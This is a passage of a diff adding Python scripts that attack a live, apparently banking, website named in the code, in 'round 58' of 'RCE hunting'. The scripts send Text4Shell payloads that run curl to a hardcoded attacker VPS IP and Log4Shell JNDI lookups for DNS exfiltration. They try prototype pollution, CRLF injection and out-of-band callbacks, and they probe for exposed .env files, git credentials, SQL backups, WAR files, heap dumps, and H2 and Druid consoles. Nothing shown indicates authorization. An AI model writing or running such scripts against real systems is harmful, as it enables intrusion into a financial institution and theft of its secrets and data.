+ "/openapi.yaml",
132
+ "/api/swagger.json",
133
+ ]
134
+
135
+ for path in swagger_paths:
136
+ try:
137
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
138
+ if r.status_code == 200 and ("swagger" in r.text.lower() or "openapi" in r.text.lower()):
139
+ print(f" [!] Swagger: {path}")
140
+ except:
141
+ pass
142
+
143
+ # 7. Check for WebLogic vulnerabilities
144
+ print("\n[7] WEBLOGIC PATHS")
145
+ print("-"*50)
146
+
147
+ weblogic_paths = [
148
+ "/console/",
149
+ "/console/login/LoginForm.jsp",
150
+ "/wls-wsat/CoordinatorPortType",
151
+ "/wls-wsat/CoordinatorPortType11",
152
+ "/_async/AsyncResponseService",
153
+ ]
154
+
155
+ for path in weblogic_paths:
156
+ try:
157
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
158
+ if r.status_code not in [404, 403]:
159
+ print(f" {path}: {r.status_code}")
160
+ except:
161
+ pass
162
+
163
+ # 8. Check for GraphQL
164
+ print("\n[8] GRAPHQL INTROSPECTION")
165
+ print("-"*50)
166
+
167
+ graphql_paths = ["/graphql", "/api/graphql", "/gql", "/query"]
168
+
169
+ introspection = '{"query": "{ __schema { types { name } } }"}'
170
+
171
+ for path in graphql_paths:
172
+ try:
173
+ r = requests.post(BASE + path,
174
+ data=introspection,
175
+ headers={**H, "Content-Type": "application/json"},
176
+ verify=False, timeout=5)
177
+ if "__schema" in r.text:
178
+ print(f" [!] GraphQL: {path}")
179
+ except:
180
+ pass
181
+
182
+ # 9. Try Server-Side Prototype Pollution
183
+ print("\n[9] PROTOTYPE POLLUTION")
184
+ print("-"*50)
185
+
186
+ pp_payload = '{"__proto__": {"isAdmin": true}}'
187
+
188
+ try:
189
+ r = requests.post(BASE + "/api/",
190
+ data=pp_payload,
191
+ headers={**H, "Content-Type": "application/json"},
192
+ verify=False, timeout=5)
193
+ except:
194
+ pass
195
+
196
+ # 10. OOB via DNS
197
+ print("\n[10] OOB")
198
+ print("-"*50)
199
+
200
+ ts = str(int(time.time()))
201
+
202
+ # Various DNS exfil attempts
203
+ dns_payloads = [
204
+ f"${{jndi:ldap://r57.{VPS}.nip.io/a}}",
205
+ f"${{hostName}}.r57.{VPS}.nip.io",
206
+ ]
207
+
208
+ for payload in dns_payloads:
209
+ try:
210
+ requests.get(BASE + "/",
211
+ headers={**H, "X-Test": payload},
212
+ verify=False, timeout=2)
213
+ except:
214
+ pass
215
+
216
+ print(" OOB sent")
217
+
218
+ print("\n" + "="*70)
package/round58_rce.py ADDED
@@ -0,0 +1,212 @@
1
+ import requests
2
+ import urllib3
3
+ import time
4
+ urllib3.disable_warnings()
5
+
6
+ H = {"User-Agent": "Mozilla/5.0"}
7
+ VPS = "209.99.185.109"
8
+
9
+ print("="*70)
10
+ print(" ROUND 58 - CONTINUED RCE HUNTING")
11
+ print("="*70)
12
+
13
+ BASE = "https://central.autbank.com.br"
14
+
15
+ # 1. Check for Apache Shiro vulnerabilities
16
+ print("\n[1] APACHE SHIRO CHECK")
17
+ print("-"*50)
18
+
19
+ # Shiro uses rememberMe cookie
20
+ shiro_payload = "rememberMe=1" # Will trigger Shiro if present
21
+
22
+ try:
23
+ r = requests.get(BASE + "/",
24
+ cookies={"rememberMe": "test"},
25
+ headers=H, verify=False, timeout=10)
26
+
27
+ if "rememberMe=deleteMe" in r.headers.get('Set-Cookie', ''):
28
+ print(" [!] Apache Shiro detected!")
29
+ else:
30
+ print(" No Shiro detected")
31
+ except:
32
+ pass
33
+
34
+ # 2. Check for Apache Commons Text (Text4Shell)
35
+ print("\n[2] TEXT4SHELL CHECK")
36
+ print("-"*50)
37
+
38
+ text4shell = [
39
+ "${script:javascript:java.lang.Runtime.getRuntime().exec('curl " + VPS + ":8888/t4s')}",
40
+ "${url:UTF-8:http://" + VPS + ":8888/t4s2}",
41
+ "${dns:address|" + VPS + "}",
42
+ ]
43
+
44
+ for payload in text4shell:
45
+ try:
46
+ r = requests.get(BASE + "/",
47
+ params={"test": payload},
48
+ headers=H, verify=False, timeout=5)
49
+ except:
50
+ pass
51
+
52
+ print(" Text4Shell payloads sent")
53
+
54
+ # 3. Check for Java Melody
55
+ print("\n[3] JAVA MELODY")
56
+ print("-"*50)
57
+
58
+ melody_paths = [
59
+ "/monitoring",
60
+ "/javamelody",
61
+ "/admin/javamelody",
62
+ ]
63
+
64
+ for path in melody_paths:
65
+ try:
66
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
67
+ if r.status_code == 200 and "javamelody" in r.text.lower():
68
+ print(f" [!] Java Melody: {path}")
69
+ except:
70
+ pass
71
+
72
+ # 4. Check for exposed heap dumps
73
+ print("\n[4] HEAP DUMP CHECK")
74
+ print("-"*50)
75
+
76
+ heap_paths = [
77
+ "/heapdump",
78
+ "/actuator/heapdump",
79
+ "/dump",
80
+ "/memory",
81
+ ]
82
+
83
+ for path in heap_paths:
84
+ try:
85
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
86
+ if r.status_code == 200 and len(r.content) > 10000:
87
+ print(f" [!] Heap dump: {path} ({len(r.content)} bytes)")
88
+ except:
89
+ pass
90
+
91
+ # 5. Try CRLF injection for response splitting
92
+ print("\n[5] CRLF INJECTION")
93
+ print("-"*50)
94
+
95
+ crlf_payloads = [
96
+ "test%0d%0aSet-Cookie:%20malicious=true",
97
+ "test%0aSet-Cookie:%20malicious=true",
98
+ "test\r\nSet-Cookie: malicious=true",
99
+ ]
100
+
101
+ for payload in crlf_payloads:
102
+ try:
103
+ r = requests.get(BASE + "/",
104
+ params={"redirect": payload},
105
+ headers=H, verify=False, timeout=5, allow_redirects=False)
106
+
107
+ if "malicious=true" in str(r.headers):
108
+ print(" [!] CRLF injection works!")
109
+ except:
110
+ pass
111
+
112
+ # 6. Check for exposed git credentials
113
+ print("\n[6] GIT CREDENTIALS")
114
+ print("-"*50)
115
+
116
+ git_paths = [
117
+ "/.git/config",
118
+ "/.git/credentials",
119
+ "/.gitconfig",
120
+ ]
121
+
122
+ for path in git_paths:
123
+ try:
124
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
125
+ if r.status_code == 200 and ("[remote" in r.text or "credential" in r.text):
126
+ print(f" [!] Git file exposed: {path}")
127
+ except:
128
+ pass
129
+
130
+ # 7. Check for environment file exposure
131
+ print("\n[7] ENV FILE CHECK")
132
+ print("-"*50)
133
+
134
+ env_paths = [
135
+ "/.env",
136
+ "/.env.local",
137
+ "/.env.production",
138
+ "/env",
139
+ "/config/env",
140
+ "/application.properties",
141
+ "/application.yml",
142
+ ]
143
+
144
+ for path in env_paths:
145
+ try:
146
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
147
+ if r.status_code == 200:
148
+ # Check for sensitive content
149
+ if any(x in r.text.lower() for x in ['password', 'secret', 'key', 'token', 'aws']):
150
+ print(f" [!] Sensitive env file: {path}")
151
+ except:
152
+ pass
153
+
154
+ # 8. Check for backup SQL files
155
+ print("\n[8] BACKUP FILES")
156
+ print("-"*50)
157
+
158
+ backup_paths = [
159
+ "/backup.sql",
160
+ "/dump.sql",
161
+ "/database.sql",
162
+ "/db.sql",
163
+ "/autbank.sql",
164
+ "/backup.tar.gz",
165
+ "/backup.zip",
166
+ ]
167
+
168
+ for path in backup_paths:
169
+ try:
170
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
171
+ if r.status_code == 200 and len(r.content) > 1000:
172
+ print(f" [!] Backup file: {path} ({len(r.content)} bytes)")
173
+ except:
174
+ pass
175
+
176
+ # 9. Check for WAR/JAR file exposure
177
+ print("\n[9] WAR/JAR FILES")
178
+ print("-"*50)
179
+
180
+ war_paths = [
181
+ "/app.war",
182
+ "/ROOT.war",
183
+ "/autbank.war",
184
+ "/regatendimentoext.war",
185
+ ]
186
+
187
+ for path in war_paths:
188
+ try:
189
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5, stream=True)
190
+ if r.status_code == 200:
191
+ content = r.raw.read(100)
192
+ if content[:2] == b'PK': # ZIP/WAR magic bytes
193
+ print(f" [!] WAR file exposed: {path}")
194
+ except:
195
+ pass
196
+
197
+ # 10. OOB
198
+ print("\n[10] OOB")
199
+ print("-"*50)
200
+
201
+ ts = str(int(time.time()))
202
+
203
+ try:
204
+ requests.get(BASE + "/",
205
+ headers={**H, "X-Original-URL": f"http://{VPS}:8888/r58_{ts}"},
206
+ verify=False, timeout=3)
207
+ except:
208
+ pass
209
+
210
+ print(" OOB sent")
211
+
212
+ print("\n" + "="*70)
@@ -0,0 +1,47 @@
1
+ import requests
2
+ import urllib3
3
+ urllib3.disable_warnings()
4
+
5
+ H = {"User-Agent": "Mozilla/5.0"}
6
+ BASE = "https://central.autbank.com.br"
7
+
8
+ print("="*70)
9
+ print(" VERIFYING H2 AND DRUID FINDINGS")
10
+ print("="*70)
11
+
12
+ # 1. Verify H2 Console
13
+ print("\n[1] H2 CONSOLE VERIFICATION")
14
+ print("-"*50)
15
+
16
+ h2_paths = ["/h2-console/", "/h2/", "/console/", "/h2-console/login.jsp"]
17
+
18
+ for path in h2_paths:
19
+ try:
20
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
21
+ print(f"\n {path}:")
22
+ print(f" Status: {r.status_code}")
23
+ print(f" Size: {len(r.text)} bytes")
24
+ print(f" Contains 'h2': {'h2' in r.text.lower()}")
25
+ print(f" Contains 'database': {'database' in r.text.lower()}")
26
+ print(f" First 200 chars: {r.text[:200]}")
27
+ except Exception as e:
28
+ print(f" {path}: Error - {e}")
29
+
30
+ # 2. Verify Druid
31
+ print("\n[2] DRUID VERIFICATION")
32
+ print("-"*50)
33
+
34
+ druid_paths = ["/druid/", "/druid/index.html", "/druid/sql.html"]
35
+
36
+ for path in druid_paths:
37
+ try:
38
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
39
+ print(f"\n {path}:")
40
+ print(f" Status: {r.status_code}")
41
+ print(f" Size: {len(r.text)} bytes")
42
+ print(f" Contains 'druid': {'druid' in r.text.lower()}")
43
+ print(f" First 200 chars: {r.text[:200]}")
44
+ except Exception as e:
45
+ print(f" {path}: Error - {e}")
46
+
47
+ print("\n" + "="*70)